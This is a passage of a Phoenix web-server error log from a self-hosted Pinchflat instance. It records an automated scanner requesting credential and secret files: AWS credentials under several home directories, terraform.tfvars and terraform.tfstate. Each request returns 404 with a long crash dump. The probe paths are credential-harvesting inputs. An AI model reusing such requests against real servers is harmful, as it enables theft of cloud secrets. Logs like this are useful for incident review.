"147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ubuntu/.aws/credentials", resp_body: nil, (truncated) 15:22:03.626 [info] GET /home/ec2-user/.aws/credentials 15:22:03.626 [debug] QUERY OK source="settings" db=0.1ms idle=468.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.626 [debug] QUERY OK source="settings" db=0.0ms idle=467.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.626 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:03.626 [error] #PID<0.9774.0> running PinchflatWeb.Endpoint (connection #PID<0.9773.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /home/ec2-user/.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ec2-user/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9773.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ec2-user/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47126}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9774.0>, params: %{}, path_info: ["home", "ec2-user", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ec2-user/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBsICI802-kYAAdgC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9773.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ec2-user/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47126}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/ec2-user/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9773.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/ec2-user/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47126}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9774.0>, params: %{}, path_info: ["home", "ec2-user", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/ec2-user/.aws/credentials", (truncated) 15:22:03.865 [info] GET /home/node/.aws/credentials 15:22:03.865 [debug] QUERY OK source="settings" db=0.2ms idle=474.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.865 [debug] QUERY OK source="settings" db=0.0ms idle=474.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:03.865 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:03.865 [error] #PID<0.9776.0> running PinchflatWeb.Endpoint (connection #PID<0.9775.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /home/node/.aws/credentials ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/node/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/node/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47130}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9776.0>, params: %{}, path_info: ["home", "node", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/node/.aws/credentials", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBtBBz0FRJ84AAdhC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/node/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47130}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /home/node/.aws/credentials (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9775.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/home/node/.aws/credentials", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47130}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9776.0>, params: %{}, path_info: ["home", "node", ".aws", "credentials"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/home/node/.aws/credentials", resp_body: nil, resp_cooki (truncated) 15:22:04.104 [info] GET /terraform.tfvars 15:22:04.104 [debug] QUERY OK source="settings" db=0.2ms idle=580.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:04.104 [debug] QUERY OK source="settings" db=0.0ms idle=478.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:04.104 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:04.104 [error] #PID<0.9778.0> running PinchflatWeb.Endpoint (connection #PID<0.9777.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /terraform.tfvars ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /terraform (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9777.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfvars", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47132}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9778.0>, params: %{}, path_info: ["terraform"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/terraform.tfvars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBt5__gWPKPsAAdiC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9777.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfvars", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47132}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /terraform (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9777.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfvars", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47132}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9778.0>, params: %{}, path_info: ["terraform"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/terraform.tfvars", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBt5__gW (truncated) 15:22:04.344 [info] GET /terraform.tfstate 15:22:04.345 [debug] QUERY OK source="settings" db=0.3ms idle=718.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:04.345 [debug] QUERY OK source="settings" db=0.0ms idle=479.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:04.345 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:04.345 [error] #PID<0.9780.0> running PinchflatWeb.Endpoint (connection #PID<0.9779.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /terraform.tfstate ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /terraform (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9779.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfstate", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47148}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9780.0>, params: %{}, path_info: ["terraform"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/terraform.tfstate", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBuzXRSeyQxkAAdjC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9779.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfstate", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47148}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /terraform (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9779.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/terraform.tfstate", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47148}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9780.0>, params: %{}, path_info: ["terraform"], path_params: %{}, port: 80, 